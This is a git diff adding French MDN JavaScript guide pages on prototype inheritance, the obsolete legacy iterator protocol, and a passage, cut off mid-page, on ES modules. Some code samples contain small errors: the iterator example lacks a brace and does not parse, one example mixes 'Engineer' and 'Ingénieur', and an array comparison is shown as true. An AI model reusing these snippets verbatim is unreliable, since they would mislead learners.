+<h3 id="Valeurs_locales_et_valeurs_héritées">Valeurs locales et valeurs héritées</h3>
+
+<p>Quand on accède à la propriété d’un objet, JavaScript effectue les étapes suivantes :</p>
+
+<ol>
+ <li>On vérifie si la valeur existe localement : si c'est le cas on renvoie cette valeur.</li>
+ <li>S'il n’y a pas de valeur locale, on parcourt la chaîne des prototypes grâce à la propriété<code>__proto__</code>.</li>
+ <li>Si un objet de la chaîne de prototypes possède une valeur pour la propriété recherchée, alors on renvoie cette valeur.</li>
+ <li>Si aucune propriété correspondante n’est trouvée, alors l’objet ne possède pas cette propriété.</li>
+</ol>
+
+<p>L'issue de cet algorithme peut dépendre de la façon dont on a défini au fur et à mesure les différents objets. Dans l'exemple initial on avait les définitions :</p>
+
+<pre class="brush: js">function Employé () {
+  this.nom = "";
+  this.branche = "commun";
+}
+
+function Travailleur () {
+  this.projets = [];
+}
+Travailleur.prototype = new Employé;
+</pre>
+
+<p>Si on utilise ces définitions et qu'on définit une instance de <code>Travailleur</code> appelée <code>amy</code> avec l'instruction suivante :</p>
+
+<pre class="brush: js">var amy = new Travailleur;
+</pre>
+
+<p>Alors l'objet <code>amy</code> possède une propriété locale : <code>projets</code>. Les valeurs des propriétés <code>nom</code> et <code>branche</code> ne sont pas locales, elles sont obtenues grâce à la propriété <code>__proto__</code> de l'objet amy. Ainsi <code>amy</code> possède les propriétés suivantes avec les valeurs respectives :</p>
+
+<pre class="brush: js">amy.nom == "";
+amy.branche == "commun";
+amy.projets == [];
+</pre>
+
+<p>Si maintenant on change la valeur de la propriété <code>nom</code> pour le prototype associé à <code>Employé</code> :</p>
+
+<pre class="brush: js">Employé.prototype.nom = "Inconnu"
+</pre>
+
+<p>On pourrait penser que cette nouvelle valeur est propagée pour toutes les instances de <code>Employé</code>. Ce n’est pas le cas.</p>
+
+<p>En effet, lorsqu’on crée n’importe quelle instance de <code>Employé</code>, cette instance obtient une valeur locale pour la propriété <code>nom</code> (qui est la chaîne de caractères vide). Cela signifie que lorsqu'on utilise le prototype <code>Travailleur</code> dans lequel on crée un nouvel objet <code>Employé</code>, <code>Travailleur.prototype</code> aura une valeur locale pour la propriété <code>nom</code>. Ainsi, quand JavaScript recherche la propriété <code>nom</code> de l'objet <code>amy</code> (qui est une instance de <code>Travailleur</code>), JavaScript trouve la valeur locale de cette propriété au niveau de <code>Travailleur.prototype</code> et ne remonte pas plus loin dans la chaîne : on n’atteint pas <code>Employé.prototype</code>.</p>
+
+<p>Si on souhaite changer la valeur de la propriété d’un objet pendant l’exécution et que sa valeur soit héritée par tous les descendants de l’objet, on ne peut pas définir cette propriété dans le constructeur de l'objet, il faut l’ajouter au constructeur du prototype associé. Si on change le code précédent par :</p>
+
+<pre class="brush: js">function Employé () {
+  this.branche = "commun"; // La propriété this.nom, qui est une variable locale, n'apparaît pas ici
+}
+Employé.prototype.nom = ""; // Il s'agit d'une simple affectation
+
+function Travailleur () {
+  this.projets = [];
+}
+Travailleur.prototype = new Employé;
+
+var amy = new Travailleur;
+
+Employé.prototype.nom = "Inconnnu";
+</pre>
+
+<p>Alors on aura bien la propriété <code>nom</code> de <code>amy</code> qui deviendra "Inconnu".</p>
+
+<p>Comme on a pu le voir avec ces exemples, si on souhaite avoir des valeurs par défaut pour certaines propriétés et être capable de les modifier à l'exécution, il est nécessaire de les définir dans les propriétés du prototype du constructeur et non dans le constructeur même.</p>
+
+<h3 id="Comment_déterminer_les_relations_entre_les_instances">Comment déterminer les relations entre les instances</h3>
+
+<p>La recherche de propriétés JavaScript permet de rechercher parmi les propriétés de l’objet puis dans la propriété spéciale <code>__proto__</code> et ainsi de suite pour explorer la chaîne des prototypes.</p>
+
+<p>La propriété spéciale <code>__proto__</code> est défnie à la construction d'un objet et contient la valeur du constructeur de la propriété<code>prototype</code>. Ainsi, l’expression <code>new Toto()</code> crée un nouvel objet avec <code>__proto__ == <code class="moz-txt-verticalline">Toto.prototype</code></code>. Ainsi, tous les changements des propriétés de <code class="moz-txt-verticalline">Toto.prototype</code> sont propagés sur la chaîne des prototypes des objets ayant été créés par <code>new Toto()</code>.</p>
+
+<p>Chaque objet (sauf <code>Object</code>) possède une propriété <code>__proto__</code>. Chaque fonction possède une propriété <code>prototype</code>. Ainsi, on peut relier les objets par « héritage prototypique ». Pour tester l’héritage, on peut comparer la propriété <code>__proto__</code> d'un objet avec la propriété <code>prototype</code> d'une fonction. JavaScript permet de faire ceci avec l’opérateur <code>instanceof</code> qui teste un objet par rapport à une fonction et qui renvoie true si l’objet hérite de la fonction prototype. Ainsi :</p>
+
+<pre class="brush: js">var t = new Toto();
+var isTrue = (t instanceof Toto);</pre>
+
+<p>Pour avoir un exemple plus précis, si on crée un objet <code>Ingénieur</code> comme ceci :</p>
+
+<pre class="brush: js">var chris = new Engineer("Chris Pigman", ["jsd"], "fiji");
+</pre>
+
+<p>L’ensemble des instructions suivantes renverra <code>true</code> :</p>
+
+<pre class="brush: js">chris.__proto__ == Ingénieur.prototype;
+chris.__proto__.__proto__ == Travailleur.prototype;
+chris.__proto__.__proto__.__proto__ == Employé.prototype;
+chris.__proto__.__proto__.__proto__.__proto__ == Object.prototype;
+chris.__proto__.__proto__.__proto__.__proto__.__proto__ == null;
+</pre>
+
+<p>On pourrait donc écrire la une fonction <code>instanceOf</code> de la façon suivante :</p>
+
+<pre class="brush: js">function instanceOf(object, constructor) {
+   while (object != null) {
+      if (object == constructor.prototype)
+         return true;
+      if (typeof object == 'xml') {
+        return constructor.prototype == XML.prototype;
+      }
+      object = object.__proto__;
+   }
+   return false;
+}
+</pre>
+
+<div class="note"><strong>Note :</strong> L’implémentation ci-dessus possède un cas particulier pour le type d'objet "xml" : c'est une façon de traiter les objets XML et la façon dont ils sont représentés dans les versions plus récentes de JavaScript. N’hésitez pas à aller consulter la fiche {{bug(634150)}} si vous voulez en savoir plus.</div>
+
+<p class="note">Ainsi, avec cette fonction, les expressions suivantes seront vérifiées :</p>
+
+<pre class="brush: js">instanceOf (chris, Ingénieur)
+instanceOf (chris, Travailleur)
+instanceOf (chris, Employé)
+instanceOf (chris, Object)
+</pre>
+
+<p>En revanche, l’expression qui suit est fausse :</p>
+
+<pre class="brush: js">instanceOf (chris, Vendeur)
+</pre>
+
+<h3 id="Les_informations_globales_dans_les_constructeurs">Les informations globales dans les constructeurs</h3>
+
+<p>Lorsqu'on crée des constructeurs, on doit prendre des précautions si on souhaite manipuler des informations globales au sein d'un constructeur. Si, par exemple, on souhaite avoir un identifiant unique attribué automatiquement pour chaque nouvel employé, on pourrait utiliser la définition suivante :</p>
+
+<pre class="brush: js">var idCompteur = 1;
+
+function Employé (nom, branche) {
+   this.nom = nom || "";
+   this.branche = branche || "commun";
+   this.id = idCompteur++;
+}
+</pre>
+
+<p>Avec cette définition, si on utilise les instructions suivantes <code>victoria.id</code> sera 1 et <code>henri.id</code> sera 2:</p>
+
+<pre class="brush: js">var victoria = new Employé("Victoria Rander", "international")
+var henri = new Employé("Henri Jelier", "ventes")
+</pre>
+
+<p>De cette façon, on peut penser que cette solution convient. Cependant, <code>idCompteur</code> sera incrémenté à chaque fois qu’un objet <code>Employé</code> sera créé, quelqu’en soit la raison. Si on utilise la hiérarchie établie au cours de ce chapitre, le constructeur <code>Employé</code> sera appelé à chaque fois qu’on définit un prototype. Avec le code suivant par exemple :</p>
+
+<pre class="brush: js">var idCompteur = 1;
+
+function Employé (nom, branche) {
+   this.nom = nom || "";
+   this.branche = branche || "commun";
+   this.id = idCompteur++;
+}
+
+function Manager (nom, branche, rapports) {...}
+Manager.prototype = new Employé;
+
+function Travailleur (nom, branche, projets) {...}
+Travailleur.prototype = new Employé;
+
+function Ingénieur (nom, projets, moteur) {...}
+Ingénieur.prototype = new Travailleur;
+
+function Vendeur (nom, projets, quota) {...}
+Vendeur.prototype = new Travailleur;
+
+var alex = new Ingénieur("Alex S");
+</pre>
+
+<p>Si on prend le cas où les définitions utilisent la propriété <code>base</code> et appellent le constructeur à chaque fois au-dessus, alors la propriété <code>alex.id</code> vaudra 3.</p>
+
+<p>Selon l’application qu’on a de cette information, on peut souhaiter ou non que ce compteur ne soit pas incrémenté avec ces étapes intermédiaires. Si on souhaite utiliser une valeur exacte, on pourra utiliser le constructeur suivant :</p>
+
+<pre class="brush: js">function Employé (nom, branche) {
+   this.nom = nom || "";
+   this.branche = branche || "commun";
+   if (nom)
+      this.id = idCompteur++;
+}
+</pre>
+
+<p>Lorsqu’on crée une instance d’<code>Employé</code> comme prototype, on ne fournit pas d’argument au constructeur. Ainsi, en utilisant ce constructeur, lorsqu’on ne fournit pas d’argument, le constructeur n’incrémente pas le compteur. De cette façon, pour qu’un employé ait un identifiant valide, il faut qu’on lui ait donné un nom. Avec cet exemple, <code>alex.id</code> vaudrait 1.</p>
+
+<p>Une autre façon de procéder est de créer une copie du prototype d'<code>Employé</code> et d'affecter celle-ci à <code>Travailleur</code> :</p>
+
+<pre class="brush: js">Travailleur.prototype = Object.create(Employé.prototype);
+// plutôt que Travailleur.prototype = new Employé;</pre>
+
+<h3 id="L’absence_d’héritage_multiple">L’absence d’héritage multiple</h3>
+
+<p>Certains langages orientés objet permettent d’avoir un héritage multiple. Cela veut dire qu’un objet peut hériter des propriétés et des valeurs d’objets parents qui n’ont aucune relation. JavaScript ne permet pas d’avoir ce type d'héritage.</p>
+
+<p>L’héritage des valeurs des propriétés s’effectue lors de l’exécution lorsque JavaScript explore la chaîne de prototype. Étant donné qu’un objet possède un seul prototype associé, JavaScript ne peut pas, dynamiquement, effectuer l’héritage sur plus d’une chaîne de prototypes.</p>
+
+<p>En JavaScript, il est possible d’avoir un constructeur qui fait appel à plusieurs constructeurs. Cela donne en quelque sorte l’illusion d’un héritage multiple. Par exemple :</p>
+
+<pre class="brush: js">function Passioné (passion) {
+   this.passion = passion || "plongée";
+}
+
+function Ingénieur (nom, projets, moteur, passion) {
+   this.base1 = Travailleur;
+   this.base1(nom, "ingénierie", projets);
+   this.base2 = Passioné;
+   this.base2(passion);
+   this.moteur = moteur || "";
+}
+Ingénieur.prototype = new Travailleur;
+
+var denis = new Ingénieur("Denis Carle", ["collabra"], "carnot")
+</pre>
+
+<p>Supposons que la définition de <code>Travailleur</code> soit utilisée plus haut dans ce chapitre. Dans ce cas, l’objet<code> dennis</code> aura les propriétés suivantes :</p>
+
+<pre class="brush: js">denis.nom == "Denis Carle"
+denis.branche == "ingénierie"
+denis.projets == ["collabra"]
+denis.moteur == "carnot"
+denis.passion == "plongée"
+</pre>
+
+<p>On voit bien que <code>denis</code> bénéficie de la propriété <code>passion</code> du constructeur <code>Passioné</code>. Cependant, si, plus tard, on ajoute une propriété au prototype du constructeur :</p>
+
+<pre class="brush: js">Passioné.prototype.équipement = ["masque", "filet", "club", "balles"]
+</pre>
+
+<p>L’objet <code>denis</code> n’héritera pas de cette nouvelle propriété.</p>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Utiliser_les_objets", "Web/JavaScript/Guide/Utiliser_les_promesses")}}</p>
diff --git a/files/fr/web/javascript/guide/le_protocole_itérateur_historique/index.html b/files/fr/web/javascript/guide/le_protocole_itérateur_historique/index.html
new file mode 100644
index 0000000000..e106851141
--- /dev/null
+++ b/files/fr/web/javascript/guide/le_protocole_itérateur_historique/index.html
@@ -0,0 +1,78 @@
+---
+title: Le protocole itérateur historique
+slug: Web/JavaScript/Guide/Le_protocole_itérateur_historique
+tags:
+  - JavaScript
+  - Legacy Iterator
+translation_of: >-
+  Web/JavaScript/Reference/Deprecated_and_obsolete_features/The_legacy_Iterator_protocol
+---
+<div>{{JSSideBar("More")}}</div>
+
+<div class="warning"><strong>Non-standard.</strong> Ce protocole historique était une fonctionnalité spécifique à SpiderMonkey et est supprimé à partir de Firefox 58. Pour utiliser des itérations par la suite, veuillez utiliser des boucles <a href="/fr/docs/Web/JavaScript/Reference/Instructions/for...of">for..of</a> ainsi que le <a href="/fr/docs/Web/JavaScript/Guide/Le_protocole_iterator">protocole itérateur</a>.</div>
+
+<h2 id="Le_protocole_itérateur_obsolète_spécifique_à_Firefox">Le protocole itérateur obsolète, spécifique à Firefox</h2>
+
+<p>Avant la version 26, Firefox implémentait un autre protocole d'itération semblable à celui défini par <a href="/fr/docs/Web/JavaScript/Guide/Le_protocole_iterator">ES2015</a>.</p>
+
+<p>Un objet est un itérateur historique lorsqu'il implémente une méthode <code>next()</code> avec la sémantique suivante et lorsqu'il renvoie une exception {{jsxref("Objets_globaux/StopIteration", "StopIteration")}} à la fin de l'itération :</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Propriété</th>
+   <th scope="col">Valeur</th>
+  </tr>
+  <tr>
+   <td><code>next</code></td>
+   <td>
+    <p>Une fonction sans argument qui renvoie une valeur.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Les_différences_entre_le_protocole_historique_et_celui_d'ES2015">Les différences entre le protocole historique et celui d'ES2015</h3>
+
+<ul>
+ <li>La valeur était directement renvoyée par la fonction <code>next</code> alors qu'avec le protocole ES2015, elle est contenue dans une propriété <code>value</code></li>
+ <li>La fin de l'itération était signalée par un objet {{jsxref("Objets-globaux/StopIteration", "StopIteration")}}.</li>
+</ul>
+
+<h3 id="Un_exemple_simple_utilisant_l'ancien_protocole">Un exemple simple utilisant l'ancien protocole</h3>
+
+<h4 id="Exemple">Exemple</h4>
+
+<pre class="brush: js">function créerItérateur(tableau){
+    var nextIndex = 0;
+
+    return {
+       next: function(){
+           if(nextIndex &lt; tableau.length){
+               return tableau[nextIndex++];
+           else
+               throw new StopIteration();
+       }
+    }
+}
+
+var it = créerItérateur(['yo', 'ya']);
+
+console.log(it.next()); // 'yo'
+console.log(it.next()); // 'ya'
+try{
+    console.log(it.next());
+}
+catch(e){
+    if(e instanceof StopIteration){
+         // fin de l'itération
+    }
+}
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/iterateurs_et_generateurs">Les itérateurs et générateurs</a></li>
+ <li><a href="/fr/docs/JavaScript/Reference/Annexes/Fonctionnalités_dépréciées">D'autres fonctionnalités dépréciées et obsolètes</a></li>
+</ul>
diff --git a/files/fr/web/javascript/guide/modules/index.html b/files/fr/web/javascript/guide/modules/index.html
new file mode 100644
index 0000000000..eae2c2a887
--- /dev/null
+++ b/files/fr/web/javascript/guide/modules/index.html
@@ -0,0 +1,432 @@
+---
+title: Les modules JavaScript
+slug: Web/JavaScript/Guide/Modules
+tags:
+  - Guide
+  - JavaScript
+  - Modules
+  - export
+  - import
+translation_of: Web/JavaScript/Guide/Modules
+---
+<div>{{jsSidebar("JavaScript Guide")}}{{Previous("Web/JavaScript/Guide/Métaprogrammation")}}</div>
+
+<p>Ce guide aborde l'ensemble des notions vous permettant d'utiliser la syntaxe des modules en JavaScript.</p>
+
+<h2 id="Un_peu_de_contexte">Un peu de contexte</h2>
+
+<p>Les programmes JavaScript ont commencé par être assez petits, réalisant des tâches isolées uniquement là où l'interactivité était nécessaire. Après plusieurs années, nous avons maintenant des applications complètes qui sont exécutées dans les navigateurs avec des codes complexes et volumineux. Des programmes JavaScript sont également exécutés dans d'autres contextes (<a href="/fr/docs/Glossaire/Node.js">Node.js</a> par exemple).</p>
+
+<p>Il a donc été question de fournir un mécanisme pour diviser les programmes JavaScript en plusieurs modules qu'on pourrait importer les uns dans les autres. Cette fonctionnalité était présente dans Node.js depuis longtemps et plusieurs bibliothèques et <em>frameworks</em> JavaScript ont permis l'utilisation de modules (<a href="https://en.wikipedia.org/wiki/CommonJS">CommonJS</a>, <a href="https://github.com/amdjs/amdjs-api/blob/master/AMD.md">AMD</a>, <a href="https://requirejs.org/">RequireJS</a> ou, plus récemment, <a href="https://webpack.github.io/">Webpack</a> et <a href="https://babeljs.io/">Babel</a>).</p>
+
+<p>Bonne nouvelle, les navigateurs ont également commencé à prendre en charge ces fonctionnalités nativement. C'est le sujet de ce guide.</p>
+
+<p>Cette implémentation permettra aux navigateurs d'optimiser le chargement des modules, rendant le fonctionnement plus efficace qu'une bibliothèque tierce avec un traitement côté client des allers-retours sur le réseau.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>L'utilisation des modules natifs JavaScript repose sur les instructions <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/import">import</a></code> and <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/export">export</a></code> dont vous pouvez voir l'état de la compatibilité ici :</p>
+
+<h3 id="import"><code>import</code></h3>
+
+<p>{{Compat("javascript.statements.import")}}</p>
+
+<h3 id="export"><code>export</code></h3>
+
+<p>{{Compat("javascript.statements.export")}}</p>
+
+<h2 id="Commençons_par_un_exemple">Commençons par un exemple</h2>
+
+<p>Pour illustrer le fonctionnement des modules, nous avons créé <a href="https://github.com/mdn/js-examples/tree/master/modules">un ensemble d'exemples disponibles sur GitHub</a>. Ces exemples illustrent un ensemble de modules pour créer un élément {{htmlelement("canvas")}} sur une page web puis dessiner (et afficher des informations) sur les différentes formes du canevas.</p>
+
+<p>Ces opérations sont assez simples mais nous les avons choisies pour nous concentrer plutôt sur le fonctionnement des modules.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Si vous souhaitez télécharger les exemples et les exécuter en local, vous devrez utiliser un serveur web local.</p>
+</div>
+
+<h2 id="Structure_de_lexemple">Structure de l'exemple</h2>
+
+<p>Dans notre premier exemple (cf. <a href="https://github.com/mdn/js-examples/tree/master/modules/basic-modules">basic-modules</a>), nous avons l'arborescence de fichier suivante :</p>
+
+<pre>index.html
+main.mjs
+modules/
+    canvas.mjs
+    square.mjs</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Tous les exemples de ce guide suivent la même structure.</p>
+</div>
+
+<p>Le répertoire dédié aux modules contient deux modules :</p>
+
+<ul>
+ <li><code>canvas.mjs</code> — responsable de fonctions pour gérer le canevas
+
+  <ul>
+   <li><code>create()</code> — crée un canevas avec les dimensions souhaitées (<code>width</code> /  <code>height</code>) à l'intérieur d'un élément {{htmlelement("div")}} doté d'un identifiant et qui est ajouté à l'intérieur d'un élément indiqué. Cette fonction renvoie l'objet contenant le contexte du canevas et l'identifiant du conteneur.</li>
+   <li><code>createReportList()</code> — crée une liste non ordonnée à l'intérieur d'un élément indiqué et dans lequel on affiche des données. Cette fonction renvoie l'identifiant de la liste.</li>
+  </ul>
+ </li>
+ <li><code>square.mjs</code> :
+  <ul>
+   <li><code>name</code> — une constante qui est une chaîne de caractères : <code>"square"</code>.</li>
+   <li><code>draw()</code> — dessine un carré avec une taille/position/couleur données sur le canevas indiqué. Cette fonction renvoie un objet contenant la taille du carré, sa position et sa couleur.</li>
+   <li><code>reportArea()</code> — écrit la surface d'un carré dans une liste donnée en fonction de la longueur de son côté.</li>
+   <li><code>reportPerimeter()</code> — écrit le périmètre d'un carré dans une liste donnée en fonction de la longueur de son côté.</li>
+  </ul>
+ </li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> Pour les modules JavaScript natifs, l'extension <code>.mjs</code> a son importance car elle permet d'importer des fichiers avec un type MIME <code>javascript/esm</code> (on pourra utiliser une autre extension qui fournira le type MIME <code>application/javascript</code>) afin d'éviter les erreurs liées à la vérification des types MIME. L'extension <code>.mjs</code> est notamment utile afin de distinguer plus clairement les scripts « classiques » des modules et pourra être exploitée par d'autres outils. Pour plus de détails, voir <a href="https://v8.dev/features/modules#mjs">cette note de Google</a>.</p>
+</div>
+
+<h2 id="Exporter_des_fonctionnalités">Exporter des fonctionnalités</h2>
+
+<p>Pour commencer et afin d'utiliser les fonctionnalités d'un module, on devra les exporter. Pour cela, on utilisera l'instruction <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/export">export</a></code>.</p>
+
+<p>La méthode la plus simple consiste à placer cette instruction devant chaque valeur qu'on souhaite exporter, par exemple :</p>
+
+<pre class="brush: js">export const name = 'square';
+
+export function draw(ctx, length, x, y, color) {
+  ctx.fillStyle = color;
+  ctx.fillRect(x, y, length, length);
+
+  return {
+    length: length,
+    x: x,
+    y: y,
+    color: color
+  };
+}</pre>
+
+<p>Il est possible d'exporter des fonctions, des variables (qu'elles soient définies avec <code>var</code>, <code>let</code> ou <code>const</code>) et aussi des classes (que nous verrons par la suite). Les valeurs exportées doivent être présentes au plus haut niveau du script, il n'est pas possible d'utiliser <code>export</code> dans une fonction.</p>
+
+<p>Une méthode plus concise consiste à exporter l'ensemble des valeurs grâce à une seule instruction située à la fin du fichier : les valeurs sont séparées par des virgules et la liste est délimitée entre accolades :</p>
+
+<pre class="brush: js">export { name, draw, reportArea, reportPerimeter };</pre>
+
+<h2 id="Importer_des_fonctionnalités">Importer des fonctionnalités</h2>
+
+<p>Lorsque des fonctionnalités sont exportées par un premier module, on peut les importer dans un script afin de les utiliser. Voici la méthode la plus simple pour ce faire :</p>
+
+<pre class="brush: js">import { name, draw, reportArea, reportPerimeter } from './modules/square.mjs';</pre>
+
+<p>On utilise ici l'instruction <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/import">import</a></code>, suivi d'une liste d'identifiants séparées par des virgules et délimitée par des accolades, suivie du mot-clé <code>from</code> puis du chemin vers le fichier du module. Le chemin est relatif à la racine du site. Dans notre cas, pour <code>basic-module</code>, on écrira <code>/js-examples/modules/basic-modules</code>.</p>
+
+<p>Ici, nous avons écrit le chemin d'une façon légèrement différente : on utilise le point (<code>.</code>) afin d'indiquer « l'emplacement courant », suivi du chemin vers le fichier. Cela permet d'éviter d'avoir à écrire l'intégralité du chemin à chaque fois, c'est aussi plus court et cela permet de déplacer le script et le modules sans avoir à modifier les scripts.</p>
+
+<p>Ainsi :</p>
+
+<pre>/js-examples/modules/basic-modules/modules/square.mjs</pre>
+
+<p>devient :</p>
+
+<pre>./modules/square.mjs</pre>
+
+<p>Vous pouvez voir ces lignes dans <code><a href="https://github.com/mdn/js-examples/blob/master/modules/basic-modules/main.js">main.mjs</a></code>.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note </strong>: Pour certains systèmes de module, on peut omettre l'extension de fichier et le point (c'est-à-dire qu'on peut écrire  <code>'/modules/square'</code>). <u>Cela ne fonctionne pas pour les modules JavaScript !</u></p>
+</div>
+
+<p>Une fois les fonctionnalités importées dans le script, vous pouvez utiliser les valeurs dans votre script. Dans <code>main.mjs</code>, après les lignes d'import, on trouvera :</p>
+
+<pre class="brush: js">let myCanvas = create('myCanvas', document.body, 480, 320);
+let reportList = createReportList(myCanvas.id);
+
+let square1 = draw(myCanvas.ctx, 50, 50, 100, 'blue');
+reportArea(square1.length, reportList);
+reportPerimeter(square1.length, reportList);
+</pre>
+
+<h2 id="Charger_le_module_via_le_document_HTML">Charger le module via le document HTML</h2>
+
+<p>Il faut ensuite pouvoir charger le script <code>main.mjs</code> sur la page HTML. Pour cela, nous allons voir qu'il y a quelques différences avec le chargement d'un script « classique ».</p>
+
+<p>Tout d'abord, il est nécessaire d'indiquer <code>type="module"</code> dans l'élément {{htmlelement("script")}} afin d'indiquer qu'on charge des modules :</p>
+
+<pre class="brush: js">&lt;script type="module" src="main.mjs"&gt;&lt;/script&gt;</pre>
+
+<p>Le script qu'on importe ici agit comme le module de plus haut niveau. Si on oublie ce type, Firefox déclenchera une erreur "<em>SyntaxError: import declarations may only appear at top level of a module</em>".</p>
+
+<p>Les instructions <code>import</code> et <code>export</code> ne peuvent être utilisées qu'à l'intérieur de modules et pas à l'intérieur de scripts « classiques ».</p>
+
+<div class="blockIndicator note">
+<p><strong>Note </strong>: Il est aussi possible d'importer des modules dans des scripts qui sont déclarés en incise si on indique bien <code>type="module"</code>. On pourra donc écrire <code>&lt;script type="module"&gt; //code du script utilisant les modules ici &lt;/script&gt;</code>.</p>
+</div>
+
+<h2 id="Différences_entre_les_modules_et_les_scripts_«_classiques_»">Différences entre les modules et les scripts « classiques »</h2>
+
+<ul>
+ <li>Attention aux tests sur un environnement local : si vous chargez le fichier HTML directement depuis le système de fichier dans le navigateur (en double-cliquant dessus par exemple, ce qui donnera une URL <code>file://</code>), vous rencontrerez des erreurs CORS pour des raisons de sécurité. Il faut donc un serveur local afin de pouvoir tester.</li>
+ <li>On pourra avoir un comportement différent entre un même script utilisé comme un module et un script utilisé de façon « classique ». En effet, les modules utilisent automatiquement <a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">le mode strict</a>.</li>
+ <li>Il n'est pas nécessaire d'utiliser l'attribut <code>defer</code> (voir <a href="/fr/docs/Web/HTML/Element/script#Attributs">les attributs de <code>&lt;script&gt;</code></a>) lors du chargement d'un module, ceux-ci sont automatiquement chargés à la demande.</li>
+ <li>Enfin, les fonctionnalités importées ne sont disponibles qu'au sein de la portée du script qui les utilise ! Les valeurs importées ne sont manipulables que depuis le script, elles ne sont pas rattachées à la portée globale. On ne pourra par exemple pas y accéder depuis la console JavaScript. Bien que les erreurs soient toujours indiquées dans les outils de développement, certaines techniques de débogage ne seront pas disponibles.</li>
+</ul>
+
+<h2 id="Exports_par_défaut_et_exports_nommés">Exports par défaut et exports nommés</h2>
+
+<p>Jusqu'à présent, nous avons utilisé des <strong>exports nommés</strong> — chaque valeur est exportée avec un nom et c'est ce nom qui est également utilisé lorsqu'on réalise l'import.</p>
+
+<p>Il existe également un <strong>export par défaut</strong> — conçu pour simplifier l'export d'une fonction par module et pour faciliter l'interopérabilité avec les systèmes de module CommonJS et AMD (pour plus d'informations, voir <a href="https://tech.mozfr.org/post/2015/08/21/ES6-en-details-%3A-les-modules">ES6 en détails : les modules</a>).</p>
+
+<p>Prenons un exemple pour comprendre le fonctionnement des exports par défaut. Dans <code>square.mjs</code>, on a une fonction intitulée <code>randomSquare()</code> qui crée un carré avec une taille/couleur/position aléatoires. On souhaite exporter cette fonction par défaut et on écrit donc ceci à la fin du fichier :</p>
+
+<pre class="brush: js">export default randomSquare;</pre>
+
+<p>On notera ici l'absence d'accolades.</p>
+
+<p>On aurait également pu ajouter <code>export default</code> devant le mot-clé <code>function</code> et la définir comme fonction anonyme :</p>
+
+<pre class="brush: js">export default function(ctx) {
+  ...
+}</pre>
+
+<p>Dans le fichier <code>main.mjs</code>, on importe la fonction par défaut avec cette ligne</p>
+
+<pre class="brush: js">import randomSquare from './modules/square.mjs';</pre>
+
+<p>On voit ici aussi l'absence d'accolade car il n'y a qu'un seul export par défaut possible par module (et ici, on sait qu'il s'agit de <code>randomSquare</code>). La ligne ci-avant est en fait une notation raccourcie équivalente à :</p>
+
+<pre class="brush: js">import {default as randomSquare} from './modules/square.mjs';</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong> : Pour en savoir plus sur le renommage des objets exportés, voir ci-après {{anch("Renommage des imports et des exports")}}.</p>
+</div>
+
+<h2 id="Gestion_des_conflits_de_nommage">Gestion des conflits de nommage</h2>
+
+<p>Jusqu'à présent, notre exemple fonctionne. Mais que se passerait-il si nous ajoutions un module permettant de dessiner une autre forme comme un cercle ou un triangle ? Ces formes disposeraient sans doute également de fonctions telles que <code>draw()</code>, <code>reportArea()</code>, etc. Si on essaie d'importer ces fonctions avec les mêmes noms dans le module de plus haut niveau, nous allons avoir des conflits et des erreurs.</p>
+
+<p>Heureusement, il existe différentes façons de résoudre ce problème.</p>
+
+<h3 id="Renommage_des_imports_et_des_exports">Renommage des imports et des exports</h3>
+
+<p>Entre les accolades utilisées pour les instructions <code>import</code> et <code>export</code>, on peut utiliser le mot-clé <code>as</code> avec un autre nom afin de modifier le nom par lequel on souhaite identifier la fonctionnalité.</p>
+
+<p>Ainsi, les deux fragments qui suivent permettraient d'obtenir le même résultat de façons différentes :</p>
+
+<pre class="brush: js">// dans module.mjs
+export {
+  fonction1 as nouveauNomDeFonction,
+  fonction2 as autreNouveauNomDeFonction
+};
+
+// dans main.mjs
+import { nouveauNomDeFonction, autreNouveauNomDeFonction } from './modules/module.mjs';</pre>
+
+<pre class="brush: js">// dans module.mjs
+export { fonction1, fonction2 };
+
+// dans main.mjs
+import { fonction1 as nouveauNomDeFonction,
+         fonction2 as autreNouveauNomDeFonction } from './modules/module.mjs';</pre>
+
+<p>Prenons un exemple concret. Dans le répertoire <code><a href="https://github.com/mdn/js-examples/tree/master/modules/renaming">renaming</a></code>, vous verrez le même système de modules que précédemment auquel nous avons ajouté <code>circle.mjs</code> et <code>triangle.mjs</code> afin de dessiner et d'écrire des informations sur des cercles et des triangles.</p>
+
+<p>Dans chaque module, on exporte les fonctionnalités avec des noms identiques : l'instruction  <code>export</code> utilisée est la même à chaque fin de fichier :</p>
+
+<pre class="brush: js">export { name, draw, reportArea, reportPerimeter };</pre>
+
+<p>Lorsqu'on importe les valeurs dans <code>main.mjs</code>, si on essaie d'utiliser</p>
+
+<pre class="brush: js">import { name, draw, reportArea, reportPerimeter } from './modules/square.mjs';
+import { name, draw, reportArea, reportPerimeter } from './modules/circle.mjs';
+import { name, draw, reportArea, reportPerimeter } from './modules/triangle.mjs';</pre>
+
+<p>Le navigateur déclenchera une erreur telle que "<em>SyntaxError: redeclaration of import name</em>" (Firefox).</p>
+
+<p>Pour éviter ce problème, on renomme les imports afin qu'ils soient uniques :</p>
+
+<pre class="brush: js">import { name as squareName,
+         draw as drawSquare,
+         reportArea as reportSquareArea,
+         reportPerimeter as reportSquarePerimeter } from './modules/square.mjs';
+
+import { name as circleName,
+         draw as drawCircle,
+         reportArea as reportCircleArea,
+         reportPerimeter as reportCirclePerimeter } from './modules/circle.mjs';
+
+import { name as triangleName,
+        draw as drawTriangle,
+        reportArea as reportTriangleArea,
+        reportPerimeter as reportTrianglePerimeter } from './modules/triangle.mjs';</pre>
+
+<p>On aurait pu également résoudre le problème dans les fichiers de chaque module.</p>
+
